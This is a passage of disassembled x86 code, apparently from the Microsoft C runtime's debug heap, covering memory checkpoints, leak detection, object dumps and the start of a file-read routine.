		push	offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state	pointer.\n"...
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41D979
		int	3		; Trap to Debugger

loc_41D979:				; CODE XREF: sub_41D930+46j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41D959
		jmp	loc_41DAC3
; ---------------------------------------------------------------------------

loc_41D984:				; CODE XREF: sub_41D930+27j
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4F33A8
		mov	[ecx], edx
		mov	[ebp+var_1C], 0
		jmp	short loc_41D9B2
; ---------------------------------------------------------------------------

loc_41D9A9:				; CODE XREF: sub_41D930+A4j
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	[ebp+var_1C], eax

loc_41D9B2:				; CODE XREF: sub_41D930+77j
		cmp	[ebp+var_1C], 5
		jge	short loc_41D9D6
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4+18h], 0
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4+4], 0
		jmp	short loc_41D9A9
; ---------------------------------------------------------------------------

loc_41D9D6:				; CODE XREF: sub_41D930+86j
		mov	edx, dword_4F33A8
		mov	[ebp+var_20], edx
		jmp	short loc_41D9E9
; ---------------------------------------------------------------------------

loc_41D9E1:				; CODE XREF: sub_41D930:loc_41DA8Dj
		mov	eax, [ebp+var_20]
		mov	ecx, [eax]
		mov	[ebp+var_20], ecx

loc_41D9E9:				; CODE XREF: sub_41D930+AFj
		cmp	[ebp+var_20], 0
		jz	loc_41DA92
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		test	eax, eax
		jl	short loc_41DA68
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 5
		jge	short loc_41DA68
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+4]
		add	eax, 1
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+edx*4+4], eax
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4+18h]
		mov	eax, [ebp+var_20]
		add	edx, [eax+10h]
		mov	ecx, [ebp+var_20]
		mov	eax, [ecx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4+18h], edx
		jmp	short loc_41DA8D
; ---------------------------------------------------------------------------

loc_41DA68:				; CODE XREF: sub_41D930+D0j
					; sub_41D930+E1j ...
		mov	edx, [ebp+var_20]
		push	edx
		push	offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41DA87
		int	3		; Trap to Debugger

loc_41DA87:				; CODE XREF: sub_41D930+154j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41DA68

loc_41DA8D:				; CODE XREF: sub_41D930+136j
		jmp	loc_41D9E1
; ---------------------------------------------------------------------------

loc_41DA92:				; CODE XREF: sub_41D930+BDj
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4F33B0
		mov	[ecx+2Ch], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4F33A4
		mov	[eax+30h], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41DAB8
		jmp	short loc_41DAC3
sub_41D930	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAB8	proc near		; CODE XREF: sub_41D930+181p
					; DATA XREF: .packed:0043CB40o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_41DAB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D930

loc_41DAC3:				; CODE XREF: sub_41D930+4Fj
					; sub_41D930+186j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41D930
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_41DB02
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_41DB02
		cmp	dword ptr [ebp+10h], 0
		jnz	short loc_41DB30

loc_41DB02:				; CODE XREF: .packed:0041DAF4j
					; .packed:0041DAFAj ...
		push	offset a_crtmemdiffere ; "_CrtMemDifference: NULL state	pointer.\n"...
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41DB22
		int	3		; Trap to Debugger

loc_41DB22:				; CODE XREF: .packed:0041DB1Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41DB02
		mov	eax, [ebp-8]
		jmp	loc_41DBFC
; ---------------------------------------------------------------------------

loc_41DB30:				; CODE XREF: .packed:0041DB00j
		mov	dword ptr [ebp-4], 0
		jmp	short loc_41DB42
; ---------------------------------------------------------------------------

loc_41DB39:				; CODE XREF: .packed:loc_41DBC7j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx

loc_41DB42:				; CODE XREF: .packed:0041DB37j
		cmp	dword ptr [ebp-4], 5
		jge	loc_41DBCC
		mov	edx, [ebp-4]
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	edx, [eax+edx*4+18h]
		sub	edx, [esi+ecx*4+18h]
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	[ecx+eax*4+18h], edx
		mov	edx, [ebp-4]
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	edx, [eax+edx*4+4]
		sub	edx, [esi+ecx*4+4]
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	[ecx+eax*4+4], edx
		mov	edx, [ebp-4]
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+edx*4+18h], 0
		jnz	short loc_41DBA2
		mov	ecx, [ebp-4]
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+ecx*4+4], 0
		jz	short loc_41DBC7

loc_41DBA2:				; CODE XREF: .packed:0041DB93j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_41DBC7
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_41DBC0
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_41DBC7
		mov	eax, dword_4518A0
		and	eax, 10h
		test	eax, eax
		jz	short loc_41DBC7

loc_41DBC0:				; CODE XREF: .packed:0041DBACj
		mov	dword ptr [ebp-8], 1

loc_41DBC7:				; CODE XREF: .packed:0041DBA0j
					; .packed:0041DBA6j ...
		jmp	loc_41DB39
; ---------------------------------------------------------------------------

loc_41DBCC:				; CODE XREF: .packed:0041DB46j
		mov	ecx, [ebp+10h]
		mov	edx, [ebp+0Ch]
		mov	eax, [ecx+2Ch]
		sub	eax, [edx+2Ch]
		mov	ecx, [ebp+8]
		mov	[ecx+2Ch], eax
		mov	edx, [ebp+10h]
		mov	eax, [ebp+0Ch]
		mov	ecx, [edx+30h]
		sub	ecx, [eax+30h]
		mov	edx, [ebp+8]
		mov	[edx+30h], ecx
		mov	eax, [ebp+8]
		mov	dword ptr [eax], 0
		mov	eax, [ebp-8]

loc_41DBFC:				; CODE XREF: .packed:0041DB2Bj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC10	proc near		; CODE XREF: sub_41E030+5Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041DECC SIZE 00000037 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43CC50
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_20], 0
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 0

loc_41DC4B:				; CODE XREF: sub_41DC10+5Fj
		push	offset aDumpingObjects ; "Dumping objects ->\n"
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41DC6B
		int	3		; Trap to Debugger

loc_41DC6B:				; CODE XREF: sub_41DC10+58j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41DC4B
		cmp	[ebp+arg_0], 0
		jz	short loc_41DC7F
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[ebp+var_20], edx

loc_41DC7F:				; CODE XREF: sub_41DC10+65j
		mov	eax, dword_4F33A8
		mov	[ebp+var_1C], eax
		jmp	short loc_41DC91
; ---------------------------------------------------------------------------

loc_41DC89:				; CODE XREF: sub_41DC10:loc_41DEAEj
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx

loc_41DC91:				; CODE XREF: sub_41DC10+77j
		cmp	[ebp+var_1C], 0
		jz	loc_41DEB3
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jz	loc_41DEB3
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 3
		jz	short loc_41DCE5
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jz	short loc_41DCE5
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jnz	short loc_41DCEA
		mov	ecx, dword_4518A0
		and	ecx, 10h
		test	ecx, ecx
		jnz	short loc_41DCEA

loc_41DCE5:				; CODE XREF: sub_41DC10+A6j
					; sub_41DC10+B6j
		jmp	loc_41DEAE
; ---------------------------------------------------------------------------

loc_41DCEA:				; CODE XREF: sub_41DC10+C6j
					; sub_41DC10+D3j
		mov	edx, [ebp+var_1C]
		cmp	dword ptr [edx+8], 0
		jz	short loc_41DD63
		push	0
		push	1
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+8]
		push	ecx
		call	sub_41D660
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD34

loc_41DD0A:				; CODE XREF: sub_41DC10+120j
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+0Ch]
		push	eax
		push	offset aFileErrorD ; "#File Error#(%d) : "
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41DD2C
		int	3		; Trap to Debugger

loc_41DD2C:				; CODE XREF: sub_41DC10+119j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41DD0A
		jmp	short loc_41DD63
; ---------------------------------------------------------------------------

loc_41DD34:				; CODE XREF: sub_41DC10+F8j
					; sub_41DC10+151j
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+8]
		push	edx
		push	offset aHsD	; "%hs(%d) : "
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41DD5D
		int	3		; Trap to Debugger

loc_41DD5D:				; CODE XREF: sub_41DC10+14Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41DD34

loc_41DD63:				; CODE XREF: sub_41DC10+E1j
					; sub_41DC10+122j ...
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+18h]
		push	edx
		push	offset aLd	; "{%ld} "
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41DD85
		int	3		; Trap to Debugger

loc_41DD85:				; CODE XREF: sub_41DC10+172j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41DD63
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jnz	short loc_41DE0D

loc_41DD9C:				; CODE XREF: sub_41DC10+1C8j
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+14h]
		sar	eax, 10h
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 20h
		push	ecx
		push	offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "...
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41DDD4
		int	3		; Trap to Debugger

loc_41DDD4:				; CODE XREF: sub_41DC10+1C1j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41DD9C
		cmp	dword_4F4AF8, 0
		jz	short loc_41DDFC
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_1C]
		add	edx, 20h
		push	edx
		call	dword_4F4AF8
		add	esp, 8
		jmp	short loc_41DE08
; ---------------------------------------------------------------------------

loc_41DDFC:				; CODE XREF: sub_41DC10+1D1j
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_41DF10
		add	esp, 4

loc_41DE08:				; CODE XREF: sub_41DC10+1EAj
		jmp	loc_41DEAE
; ---------------------------------------------------------------------------

loc_41DE0D:				; CODE XREF: sub_41DC10+18Aj
		mov	ecx, [ebp+var_1C]
		cmp	dword ptr [ecx+14h], 1
		jnz	short loc_41DE53

loc_41DE16:				; CODE XREF: sub_41DC10+233j
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+10h]
		push	eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 20h
		push	ecx
		push	offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"...
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41DE3F
		int	3		; Trap to Debugger

loc_41DE3F:				; CODE XREF: sub_41DC10+22Cj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41DE16
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_41DF10
		add	esp, 4
		jmp	short loc_41DEAE
; ---------------------------------------------------------------------------

loc_41DE53:				; CODE XREF: sub_41DC10+204j
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 2
		jnz	short loc_41DEAE

loc_41DE64:				; CODE XREF: sub_41DC10+290j
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+14h]
		sar	eax, 10h
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 20h
		push	ecx
		push	offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"...
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41DE9C
		int	3		; Trap to Debugger

loc_41DE9C:				; CODE XREF: sub_41DC10+289j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41DE64
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_41DF10
		add	esp, 4

loc_41DEAE:				; CODE XREF: sub_41DC10:loc_41DCE5j
					; sub_41DC10:loc_41DE08j ...
		jmp	loc_41DC89
; ---------------------------------------------------------------------------

loc_41DEB3:				; CODE XREF: sub_41DC10+85j
					; sub_41DC10+91j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41DEC1
		jmp	short loc_41DECC
sub_41DC10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEC1	proc near		; CODE XREF: sub_41DC10+2AAp
					; DATA XREF: .packed:0043CC58o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_41DEC1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41DC10

loc_41DECC:				; CODE XREF: sub_41DC10+2AFj
					; sub_41DC10+2E0j
		push	offset aObjectDumpComp ; "Object dump complete.\n"
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41DEEC
		int	3		; Trap to Debugger

loc_41DEEC:				; CODE XREF: sub_41DC10+2D9j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41DECC
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41DC10
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF10	proc near		; CODE XREF: sub_41DC10+1F0p
					; sub_41DC10+239p ...

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_34		= byte ptr -34h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4C], 0
		jmp	short loc_41DF2B
; ---------------------------------------------------------------------------

loc_41DF22:				; CODE XREF: sub_41DF10+D7j
		mov	eax, [ebp+var_4C]
		add	eax, 1
		mov	[ebp+var_4C], eax

loc_41DF2B:				; CODE XREF: sub_41DF10+10j
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+10h], 10h
		jge	short loc_41DF3F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+10h]
		mov	[ebp+var_54], eax
		jmp	short loc_41DF46
; ---------------------------------------------------------------------------

loc_41DF3F:				; CODE XREF: sub_41DF10+22j
		mov	[ebp+var_54], 10h

loc_41DF46:				; CODE XREF: sub_41DF10+2Dj
		mov	ecx, [ebp+var_4C]
		cmp	ecx, [ebp+var_54]
		jge	loc_41DFEC
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_4C]
		mov	al, [edx+20h]
		mov	byte ptr [ebp+var_50], al
		cmp	dword_453EB0, 1
		jle	short loc_41DF83
		push	157h
		mov	ecx, [ebp+var_50]
		and	ecx, 0FFh
		push	ecx
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_58], eax
		jmp	short loc_41DFA0
; ---------------------------------------------------------------------------

loc_41DF83:				; CODE XREF: sub_41DF10+55j
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		mov	eax, off_453CA4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 157h
		mov	[ebp+var_58], ecx

loc_41DFA0:				; CODE XREF: sub_41DF10+71j
		cmp	[ebp+var_58], 0
		jz	short loc_41DFB4
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		mov	[ebp+var_5C], edx
		jmp	short loc_41DFBB
; ---------------------------------------------------------------------------

loc_41DFB4:				; CODE XREF: sub_41DF10+94j
		mov	[ebp+var_5C], 20h

loc_41DFBB:				; CODE XREF: sub_41DF10+A2j
		mov	eax, [ebp+var_4C]
		mov	cl, byte ptr [ebp+var_5C]
		mov	[ebp+eax+var_48], cl
		mov	edx, [ebp+var_50]
		and	edx, 0FFh
		push	edx
		push	offset a_2x	; "%.2X	"
		mov	eax, [ebp+var_4C]
		imul	eax, 3
		lea	ecx, [ebp+eax+var_34]
		push	ecx
		call	sub_41EA60
		add	esp, 0Ch
		jmp	loc_41DF22
; ---------------------------------------------------------------------------

loc_41DFEC:				; CODE XREF: sub_41DF10+3Cj
		mov	edx, [ebp+var_4C]
		mov	[ebp+edx+var_48], 0

loc_41DFF4:				; CODE XREF: sub_41DF10+10Bj
		lea	eax, [ebp+var_34]
		push	eax
		lea	ecx, [ebp+var_48]
		push	ecx
		push	offset aDataSS	; " Data: <%s> %s\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_41E017
		int	3		; Trap to Debugger

loc_41E017:				; CODE XREF: sub_41DF10+104j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41DFF4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E030	proc near		; CODE XREF: sub_41E920+B9p

var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_41D930
		add	esp, 4
		cmp	[ebp+var_20], 0
		jnz	short loc_41E064
		cmp	[ebp+var_2C], 0
		jnz	short loc_41E064
		mov	ecx, dword_4518A0
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_41E09B
		cmp	[ebp+var_28], 0
		jz	short loc_41E09B

loc_41E064:				; CODE XREF: sub_41E030+19j
					; sub_41E030+1Fj ...
		push	offset aDetectedMemory ; "Detected memory leaks!\n"
		push	offset aS_19	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41E084
		int	3		; Trap to Debugger

loc_41E084:				; CODE XREF: sub_41E030+51j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41E064
		push	0
		call	sub_41DC10
		add	esp, 4
		mov	eax, 1
		jmp	short loc_41E09D
; ---------------------------------------------------------------------------

loc_41E09B:				; CODE XREF: sub_41E030+2Cj
					; sub_41E030+32j
		xor	eax, eax

loc_41E09D:				; CODE XREF: sub_41E030+69j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41E030	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_41E0C2
		jmp	loc_41E16E
; ---------------------------------------------------------------------------

loc_41E0C2:				; CODE XREF: .packed:0041E0BBj
		mov	dword ptr [ebp-4], 0
		jmp	short loc_41E0D4
; ---------------------------------------------------------------------------

loc_41E0CB:				; CODE XREF: .packed:0041E11Cj
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax

loc_41E0D4:				; CODE XREF: .packed:0041E0C9j
		cmp	dword ptr [ebp-4], 5
		jge	short loc_41E11E

loc_41E0DA:				; CODE XREF: .packed:0041E11Aj
		mov	ecx, [ebp-4]
		mov	edx, off_4518B0[ecx*4]
		push	edx
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+eax*4+4]
		push	edx
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	edx, [ecx+eax*4+18h]
		push	edx
		push	offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41E116
		int	3		; Trap to Debugger

loc_41E116:				; CODE XREF: .packed:0041E113j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41E0DA
		jmp	short loc_41E0CB
; ---------------------------------------------------------------------------

loc_41E11E:				; CODE XREF: .packed:0041E0D8j
					; .packed:0041E144j
		mov	ecx, [ebp+8]
		mov	edx, [ecx+2Ch]
		push	edx
		push	offset aLargestNumberU ; "Largest number used: %ld bytes.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41E140
		int	3		; Trap to Debugger

loc_41E140:				; CODE XREF: .packed:0041E13Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41E11E

loc_41E146:				; CODE XREF: .packed:0041E16Cj
		mov	ecx, [ebp+8]
		mov	edx, [ecx+30h]
		push	edx
		push	offset aTotalAllocatio ; "Total	allocations: %ld bytes.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_422610
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41E168
		int	3		; Trap to Debugger

loc_41E168:				; CODE XREF: .packed:0041E165j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41E146

loc_41E16E:				; CODE XREF: .packed:0041E0BDj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E180	proc near		; CODE XREF: sub_4010AA+43p
					; sub_40F986+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_422420
		add	esp, 4
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41E1C0
		add	esp, 10h
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_422490
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41E180	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1C0	proc near		; CODE XREF: sub_41E180+20p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		imul	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jnz	short loc_41E1E9
		xor	eax, eax
		jmp	loc_41E38B
; ---------------------------------------------------------------------------

loc_41E1E9:				; CODE XREF: sub_41E1C0+20j
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jz	short loc_41E204
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax
		jmp	short loc_41E20B
; ---------------------------------------------------------------------------

loc_41E204:				; CODE XREF: sub_41E1C0+37j
		mov	[ebp+var_1C], 1000h

loc_41E20B:				; CODE XREF: sub_41E1C0+42j
					; sub_41E1C0:loc_41E383j
		cmp	[ebp+var_C], 0
		jz	loc_41E388
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		and	edx, 10Ch
		test	edx, edx
		jz	short loc_41E299
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41E299
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		cmp	edx, [ecx+4]
		jnb	short loc_41E241
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20], eax
		jmp	short loc_41E24A
; ---------------------------------------------------------------------------

loc_41E241:				; CODE XREF: sub_41E1C0+77j
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+4]
		mov	[ebp+var_20], edx

loc_41E24A:				; CODE XREF: sub_41E1C0+7Fj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41FBF0
		add	esp, 0Ch
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		add	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		jmp	loc_41E383
; ---------------------------------------------------------------------------

loc_41E299:				; CODE XREF: sub_41E1C0+63j
					; sub_41E1C0+6Cj
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_1C]
		jb	loc_41E33E
		cmp	[ebp+var_1C], 0
		jz	short loc_41E2BD
		mov	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+var_1C]
		mov	eax, [ebp+var_C]
		sub	eax, edx
		mov	[ebp+var_24], eax
		jmp	short loc_41E2C3
; ---------------------------------------------------------------------------

